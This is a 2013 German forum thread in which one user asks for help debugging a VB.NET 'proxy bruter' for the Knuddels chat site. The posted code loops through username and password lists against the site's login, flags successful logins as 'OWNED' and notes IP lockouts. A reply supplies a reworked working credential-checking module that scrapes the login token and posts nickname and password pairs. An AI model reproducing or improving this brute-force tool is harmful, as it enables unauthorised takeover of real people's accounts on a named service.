TomatenKetchup (28.11.2013)
Thema: NameValueCollection
-
28.11.2013, 00:39 #1
NameValueCollection
Hallo,
arbeite gerade an einem Knöddels Proxy Bruter und komme gerade nicht weiter.
Public Sub getLogin(ByVal udata As String)
timeoutT = New Thread(AddressOf Me.timeout)
timeoutT.Start()
username = udata.ToString.Split("#")(0)
password = udata.ToString.Split("#")(1)
nvc.Clear()
nvc = New NameValueCollection
nvc.Add("domain", "knuddels.de")
nvc.Add("mode", "login")
nvc.Add("targetmode", String.Empty)
nvc.Add("targetid", String.Empty)
nvc.Add("name", username)
nvc.Add("pwd", password)
wc = New WebClient
source = ASCII.GetString(wc.UploadValues(URL, "POST", nvc))
timeoutT.Abort()
If source.Contains("Das eingegebene Passwort ist nicht korrekt.") Then
RichTextBox1.AppendText(username & "#" & password & " - FALSCHES PASSWORT" & vbCrLf)
ElseIf source.Contains("' existiert nicht.") Then
RichTextBox1.AppendText(username & "#" & password & " - NICK EXISTIERT NICHT" & vbCrLf)
ElseIf source.Contains("Du hast zu oft dein Passwort falsch eingegeben.") Then
RichTextBox1.AppendText(username & "#" & password & " - IP SPERRE" & vbCrLf)
ElseIf source.Contains("Du bist eingeloggt als:") Then
RichTextBox1.AppendText(username & "#" & password & " - OWNED" & vbCrLf)
End If
End Sub
Public Sub timeout()
Sleep(timeLimit)
getLoginT.Abort()
RichTextBox1.AppendText("Timeout...")
End Sub
(Ist jetzt ohne Proxy aber tut meinem Problem nichts zur Sache)
Das ganze läuft über 2 Threads damit ich den WebClient "abwürgen" falls die Proxy zu langsam ist und das ganze mehr als
1,5 Sekunden dauer(timeLimit). Der ganze Code funktioniert bei einzelnen Aufrufen(auch mehrere hintereinander) eigentlich
wunderbar. Probleme gibts nur wenn ich das ganze mit einer Schleife aufrufe:
For Each u In usernameArr
loginData = New StringBuilder
loginData.Append(u & "#")
For Each p In passwordArr
loginData.Append(p)
getLoginT = New Thread(AddressOf Me.getLogin)
getLoginT.Start(loginData.ToString)
Next
Next
Denn da bekomme ich immer folgende Fehlermeldung:
Das Element wurde bereits hinzugefügt. Schlüssel im Wörterbuch: "mode". Hinzuzufügender Schlüssel: "mode".
Das Element ist aber NICHT IMMER "mode"!
Die Übergabemethode mit dem StringBuilder ist übringens nur eine von vielen die ich probiert habe.
Das komische aber ist, wenn ich die Threads ohne Schleife aufrufe funktioniert alles wunderbar:
getLoginT = New Thread(AddressOf Me.getLogin)
getLoginT.Start("username#password")
Das hier kann ich in einem Button so oft spammen wie ich will und es funktioniert genau wie ich's mir eigentlich
von der Schleife erwarten würde.(in dem Fall natürlich immer mit den selben Zugangsdaten^^)
Bin für jede Hilfe dankbar!
MfG
//Edit:
Thx für die Antowort! Werd mir dein Snippet morgen (wenn ich nüchtern bin XD) mal genauer anschauen!
//Edit2:
Schon wieder nicht nüchtern lol e.e xDGeändert von exception (29.11.2013 um 17:39 Uhr)
Ich will Geld haben und zwar so viel, das ich auch mal sagen kann das es Wichtigeres gibt...
-
The Following User Says Thank You to exception For This Useful Post:
-
28.11.2013, 20:01 #2
- Registriert seit
- 19.11.2011
- Beiträge
- 2.128
Thanked 1.937 Times in 1.180 PostsAW: NameValueCollection
Code:Option Strict On Imports System.IO, System.Net, System.Text.RegularExpressions, System.Threading Module Module1 Private Containa As CookieContainer = New CookieContainer Public Function Req(Site As String, Met As String, Optional P As String = "") As String Dim Response As String = String.Empty Try Dim R As HttpWebRequest = CType(HttpWebRequest.Create(Site), HttpWebRequest) With R .Proxy = Nothing .Method = Met .CookieContainer = Containa .AllowAutoRedirect = True .UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0" .ContentType = "application/x-www-form-urlencoded" .Timeout = 12000 End With If Met = "POST" AndAlso P.Length > 4 Then R.ContentLength = P.Length Dim Wr As New StreamWriter(R.GetRequestStream(), System.Text.Encoding.Default) Wr.Write(P) Wr.Close() End If Dim Re As New StreamReader(R.GetResponse.GetResponseStream()) Response = Re.ReadToEnd Re.Close() Catch End Try Return Response End Function Public Function TryLoginData(Nick As String, Pass As String, Optional SleepIntervinS As Integer = 0) As Boolean Thread.Sleep(SleepIntervinS * 1000) Dim S As String = Req("http://photo.knuddels.de/photos-login.html?d=knuddels.de#", "GET") Dim Id As String = Regex.Match(S, "button-([^""]+)").Groups(1).Value Dim Login As String = Req("http://photo.knuddels.de/photos-login_submit.html", "POST", String.Concat("nickname=", Nick, "&password=", Pass, "&submitElement=", Id)) Return Not Login.Contains("Allgemeiner Serverfehler") AndAlso Not Login.Contains("dein Passwort falsch eingegeben") AndAlso Login.Contains("Abmelden") End Function Private Sub Doit() Dim T As New Thread(Sub() For Each p As String In {"Hallo", "TestNick2"} If TryLoginData(p, "TESTPW", 2) Then '... End If Next End Sub) T.IsBackground = True T.Start() End Sub Sub Main() Doit() Console.ReadKey() End Sub End Module
-
The Following User Says Thank You to !lkay For This Useful Post:
TomatenKetchup (28.11.2013)
Diese Seite nutzt Cookies, um das Nutzererlebnis zu verbessern. Klicken Sie hier, um das Cookie-Tracking zu deaktivieren.